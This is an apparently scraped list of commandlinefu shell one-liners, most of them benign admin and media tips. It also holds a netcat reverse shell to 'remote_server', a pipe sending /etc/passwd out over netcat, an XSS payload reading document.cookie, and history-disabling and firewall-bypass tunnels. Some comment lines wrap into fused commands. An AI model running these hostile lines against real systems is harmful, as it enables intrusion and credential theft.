ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
# Nice info browser
pinfo
# Count files beneath current directory (including subfolders)
find . -type f | wc -l
# hard disk information - Model/serial no.
hdparm -i[I] /dev/sda
# Fetch every font from dafont.com to current folder
d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
# Delete DOS Characters via VIM (^M)
:set ff=unix
# Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
# Tail -f at your own pace
tail -fs 1 somefile
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm
# display an embeded help message from bash script header
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
# pretend to be busy in office to enjoy a cup of coffee
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done
# Capitalize first letter of each word in a string
read -ra words <<< "<sentence>" && echo "${words[@]^}"
# Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))
# cycle through a 256 colour palette
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
# Rename HTML files according to their title tag
perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
# Launch a command from a manpage
!date
# command line calculator
calc(){ awk "BEGIN{ print $* }" ;}
# Plays Music from SomaFM
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
# Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
# See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
# Create a 5 MB blank file via a seek hole
dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
# Command Line to Get the Stock Quote via Yahoo
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
# Delete all files found in directory A from directory B
for file in <directory A>/*; do rm <directory B>/`basename $file`; done
# Compare a remote file with a local file
vimdiff <file> scp://[<user>@]<host>/<file>
# Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
# Insert the last argument of the previous command
!$
# convert a web page into a png
touch $2;firefox -print $1 -printmode PNG -printfile $2
# create a temporary file in a command line call
any_script.sh < <(some command)
# Binary clock
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
# Outgoing IP of server
dig +short @resolver1.opendns.com myip.opendns.com
# Send email with curl and gmail
curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt "<user@server.tld>" --url smtps://smtp.gmail.com:465 -T file.txt
# Create several copies of a file
for i in {1..5}; do cp test{,$i};done
# Terrorist threat level text
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
# Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com
# Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
# Extended man command
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
# back ssh from firewalled hosts
ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip
# add the result of a command into vi
!!command
# is today the end of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
# Copy with progress
rsync --progress file1 file2
# Grep without having it show its own process in the results
ps aux | grep "[s]ome_text"
# Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"
# Better way to use notify-send with at or cron
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
# Display last exit status of a command
echo $?
# Create a Multi-Part Archive Without Proprietary Junkware
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
# print file without duplicated lines using awk
awk '!a[$0]++' file
# execute a shell with netcat without -e
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
# bash shortcut: !$ !^ !* !:3 !:h and !:t
echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
# generate random password
pwgen -Bs 10 1
# Quick HTML image gallery from folder contents
find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html
# move a lot of files over ssh
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
# Download schedule
echo 'wget url' | at 12:00
# Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888
# pretend to be busy in office to enjoy a cup of coffee
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
# [re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
# alt + 1 .
alt + 1 .
# Save the Top 2500 commands from commandlinefu to a single text file
# grep tab chars
grep "^V<TAB>" your_file
# List bash functions defined in .bash_profile or .bashrc
compgen -A function
# Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done
# kill process by name
pkill -x firefox
# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
# Down for everyone or just me?
down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; }
# Google Translate
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# Convert the contents of a directory listing into a colon-separated environment
variablefind . -name '*.jar' -printf '%f:'
# Backup files older than 1 day on /home/dir, gzip them, moving old file to a da
ted file.find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
# Tells which group you DON'T belong to (opposite of command "groups") --- uses
sedsed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
# Get video information with ffmpeg
ffmpeg -i filename.flv
# Download file with multiple simultaneous connections
aria2c -s 4 http://my/url
# List your largest installed packages.
wajig large
# Escape potential tarbombs
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;}
# How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt
# Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
# send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done
# Follow tail by name (fix for rolling logs with tail -f)
tail -F file
# Change proccess affinity.
taskset -cp <core> <pid>
# Split File in parts
split -b 19m file Nameforpart
# Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
# Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)
# Use Kernighan & Ritchie coding style in C program
indent -kr hello.c
# Re-read partition table on specified device without rebooting system (here /de
v/sda).blockdev --rereadpt /dev/sda
# disable history for current shell session
unset HISTFILE
# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk forma
t)VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
# Numeric zero padding file rename
rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
# Measures download speed on eth0
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
# Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
# Wrap text files on the command-line for easy reading
fold -s <filename>
# Find distro name and/or version/release
cat /etc/*-release
# ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
# all out
pkill -KILL -u username
# bash screensaver off
setterm -powersave off -blank 0
# Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
# An easter egg built into python to give you the Zen of Python
python -c 'import this'
# Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
# exclude a column with awk
awk '{ $5=""; print }' file
# Convert text to lowercase
lower() { echo ${@,,}; }
# Generate a Random MAC address
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
# Find the process you are looking for minus the grepped one
pgrep command_name
# Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
# Create an animated gif from a Youtube video
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound
# Create a new file
> file
# Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
# Screensaver
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
# When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'
# Generate MD5 hash for a string
md5sum <<<"test"
# Multiple variable assignments from command output in BASH
read day month year < <(date +'%d %m %y')
# Show which programs are listening on TCP and UDP ports
netstat -plunt
# use screen as a terminal emulator to connect to serial consoles
screen /dev/tty<device> 9600
# rename files according to file with colums of corresponding names
xargs -n 2 mv < file_with_colums_of_names
# Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
# uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.*/ s/^#//' $FILE
# vim easter egg
$ vim ... :help 42
# Isolate file name from full path/find output
echo ${fullpath##*/}
# Countdown Clock
MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."
# Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
# Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
# Bash logger
script /tmp/log.txt
# Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *
# Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
# copy with progress bar - rsync
rsync -rv <src> <dst> --progress
# List your MACs address
cat /sys/class/net/eth0/address
# List and delete files older than one year
find <directory path> -mtime +365 -and -not -type d -delete
# comment current line(put # at the beginning)
<Alt-Shift-#>
# Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full
# Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head
# Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
# List only the directories
find . -maxdepth 1 -type d | sort
# JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
# lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)
# To get you started!
vimtutor
# mp3 streaming
nc -l -p 2000 < song.mp3
# alias to close terminal with :q
alias ':q'='exit'
# Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done
# Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg
# Print a row of 50 hyphens
python -c 'print "-"*50'
# New files from parts of current buffer
:n,m w newfile.txt
# awk using multiple field separators
awk -F "=| "
# Password Generation
pwgen --alt-phonics --capitalize 9 10
# Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP
# scp file from hostb to hostc while logged into hosta
scp user@hostb:file user@hostc:
# Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
# loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done
# Quickly find a count of how many times invalid users have attempted to access
your systemgunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
# Find corrupted jpeg image files
find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
# Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
# Create/open/use encrypted directory
encfs ~/.crypt ~/crypt
# Function to split a string into an array
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
# IFS - use entire lines in your for cycles
export IFS=$(echo -e "\n")
# log a command to console and to 2 files separately stdout and stderr
command > >(tee stdout.log) 2> >(tee stderr.log >&2)
# Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg
# save date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
# output length of longest line
awk '(length > n) {n = length} END {print n}'
# run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &
# Salvage a borked terminal
<ctrl+j>stty sane<ctrl+j>
# Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
# Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo
# connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
# intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
# Smart `cd`.. cd to the file directory if you try to cd to a file
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
# Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
# Display GCC Predefined Macros
gcc -dM -E - < /dev/null
# Run a command when a file is changed
while inotifywait -e modify /tmp/myfile; do firefox; done
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
zmv '(<1->).jpg' '${(l:3::0:)1}.jpg'
# Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
# Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
# Grep Recursively Through Single File Extension
grep --include=*.py -lir "delete" .
# backup with mysqldump a really big mysql database to a remote machine over ssh
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
# Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z
# Backup (archive) your Gmail IMAP folders.
mailutil transfer {imap.gmail.com/ssl/user=john@gmail.com} Gmail/
# Determine what an process is actually doing
sudo strace -pXXXX -e trace=file
# Easily scp a file back to the host you're connecting from
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
# Make vim open in tabs by default (save to .profile)
alias vim="vim -p"
# LDAP search to query an ActiveDirectory server
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
# let a cow tell you your fortune
fortune | cowsay
# Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
# Setting global redirection of STDERR to STDOUT in a script
exec 2>&1
# Stripping ^M at end of each line for files
dos2unix <filenames>
# Smart renaming
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
# external projector for presentations
xrandr --auto
# seq can produce the same thing as Perl's ... operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done
# FAST Search and Replace for Strings in all Files in Directory
sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
# Save your terminal commands in bash history in real time
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
# Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
tcs -f 8859-1 -t utf /some/file
# view hex mode in vim
:%!xxd
# Delete backward from cursor, useful when you enter the wrong password
Ctrl + u
# Find out the starting directory of a script
echo "${0%/*}"
# count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l
# send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER
# fast access to any of your favorite directory.
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
# connect via ssh using mac address
sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
# Get the time from NIST.GOV
cat </dev/tcp/time.nist.gov/13
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
# Figure out what shell you're running
readlink -f /proc/$$/exe
# Sort file greater than a specified size in human readeable format including t
heir path and typed by color, running from current directoryfind ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
# Execute a command, convert output to .png file, upload file to imgur.com, then
returning the address of the .png.imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
# Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
# Disable annoying sound emanations from the PC speaker
sudo rmmod pcspkr
# Execute most recent command containing search string.
!?<string>?
# silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i <filename>.flv -vn <filename>.mp3
# Clean swap area after using a memory hogging application
swapoff -a ; swapon -a
# Using bash inline "here document" with three less-than symbols on command line
<<<"k=1024; m=k*k; g=k*m; g" bc
# Check a nfs mountpoint and force a remount if it does not reply after a given
timeout.NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH)
# Show which process is blocking umount (Device or resource is busy)
lsof /folder
# Move items from subdirectories to current directory
find -type f -exec mv {} . \;
# currently mounted filesystems in nice layout
column -t /proc/mounts
# cat a file backwards
tac file.txt
# Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
# Copy file content to X clipboard
:%y *
# back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
# make a log of a terminal session
script
# Get your outgoing IP address
curl -s ip.appspot.com
# Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
# Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
# easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done
# Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com
# List only directory names
ls -d */
# Monitor a file's size
watch -n60 du /var/log/messages
# Get notified when a job you run in a terminal is done, using NotifyOSD
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
# Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq
# printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr
# securely erase unused blocks in a partition
# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredU
nusedBlocks
# synchronicity
cal 09 1752
# watch process stack, sampled at 1s intervals
watch -n 1 'pstack 12345 | tac'
# Perl Command Line Interpreter
perl -e 'while(1){print"> ";eval<>}'
# Remove lines that contain a specific pattern($1) from file($2).
sed -i '/myexpression/d' /path/to/file.txt
# resize all JPG images in folder and create new images (w/o overwriting)
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done
# Display a wave pattern
ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
# Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf
# Delay execution until load average falls under 1.5
echo 'some command' | batch
# Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy
# Go (cd) directly into a new temp folder
cd "$(mktemp -d)"
# Use wget to download one page and all it's requisites for offline viewing
wget -e robots=off -E -H -k -K -p http://<page>
# Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
# See The MAN page for the last command
man !!:0
# Search command history on bash
ctrl + r
# find builtin in bash v4+
ls -l /etc/**/*killall
# Copy a folder tree through ssh using compression (no temporary files)
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
# Edit video by cutting the part you like without transcoding.
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
# Set an alarm to wake up [2]
echo "aplay path/to/song" |at [time]
# Check disk for bad sectors
badblocks -n -s /dev/sdX
# Make redirects to localhost via /etc/hosts more interesting
sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavailable";'
# Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 755 {} +
# Create cheap and easy index.html file
for i in *; do echo "<li><a href='$i'>$i</a>"; done > index.html
# One command line web server on port 80 using nc (netcat)
while true ; do nc -l 80 < index.html ; done
# Emptying a text file in one shot
:%d
# Extend a logical volume to use up all the free space in a volume group
lvextend -l +100%FREE /dev/VolGroup00/LogVol00
# Re-use the previous command output
newcommand $(!!)
# List complete size of directories (do not consider hidden directories)
du -hs */
# Connect via SSH to VirtualBox guest VM without knowing IP address
ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'`
# Open the last file you edited in Vim.
alias lvim="vim -c \"normal '0\""
# Search back through previous commands
Ctrl-R <search-text>
# Remove everything except that file
find . ! -name <FILENAME> -delete
# print indepth hardware info
sudo dmidecode | more
# Add forgotten changes to the last git commit
git commit --amend
# Join lines split with backslash at the end
sed -e '/\\$/{:0;N;s/\\\n//;t0}'
# Change your swappiness Ratio under linux
sysctl vm.swappiness=50
# Show webcam output
mplayer tv:// -tv driver=v4l:width=352:height=288
# Get your commandlinefu points (upvotes - downvotes)
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc
# List your installed Firefox extensions
grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
# Tricky implementation of two-dimensional array in Bash.
arr[i*100+j]="whatever"
# Quick way to sum every numbers in a file written line by line
(sed 's/^/x+=/' [yourfile] ; echo x) | bc
# put all lines in comment where de word DEBUG is found
sed -i 's/^.*DEBUG.*/#&/' $file
# Gets the english pronunciation of a phrase
say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }
# Extract a bash function
sed -n '/^function h\(\)/,/^}/p' script.sh
# Change the From: address on the fly for email sent from the command-line
mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.com -F 'From Display Name'
# Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
# exit if another instance is running
pidof -x -o $$ ${0##*/} && exit
# Determine what version of bind is running on a dns server.
dig -t txt -c chaos VERSION.BIND @<dns.server.com>
# Get the size of all the directories in current directory (Sorted Human Readabl
e)sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
# permanently let grep colorize its output
echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
# backs up at the date today
cp -i FILENAME{,.`date +%Y%m%d`}
# how many packages installed on your archlinux?
pacman -Q|wc -l
# Create a mirror of a local folder, on a remote server
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
# Find Malware in the current and sub directories by MD5 hashes
IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
# The NMAP command you can use scan for the Conficker virus on your LAN
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
# mirrors directory to a ftp server
lftp -ulogin,passwd -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.server.xx
# burn an ISO image to writable CD
wodim cdimage.iso
# Connect to SMTP server using STARTTLS
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
# Check RAM size
free -mto
# Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
getent [group|hosts|networks|passwd|protocols|services] [keyword]
# Convert mysql database from latin1 to utf8
mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
# Mount a Windows share on the local network (Ubuntu) with user rights and use a
specific samba usersudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt
# Quick network status of machine
netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn
# cpu stress test
taskset 0x00000001 yes > /dev/null &
# network throughput test
iperf -s
# Shows size of dirs and files, hidden or not, sorted.
du -cs * .[^\.]* | sort -n
# Copy a directory recursively without data/files
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
# Most Commonly Used Grep Options
GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case'
# output length of longest line
wc -L
# clean up memory on linux
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# du disk top 10
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
# Attempt an XSS exploit on commandlinefu.com
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'
# Finding files with different extensions
find . -regex '.*\(h\|cpp\)'
# Shell function to exit script with error in exit status and print optional mes
sage to stderrdie(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
# Binary difference of two files
bsdiff <oldfile> <newfile> <patchfile>
# List all symbolic links in current directory
find /path -type l
# dstat - a mix of vmstat, iostat, netstat, ps, sar...
dstat -ta
# Join lines
cat file | tr "\n" " "
# top 10 commands used
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
# ls not pattern
ls -I "*.gz"
# Stream audio over ssh
sox Klaxon.mp3 -t wav - |ssh thelab@company.com paplay
# Check the age of the filesystem
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
# Start dd and show progress every X seconds
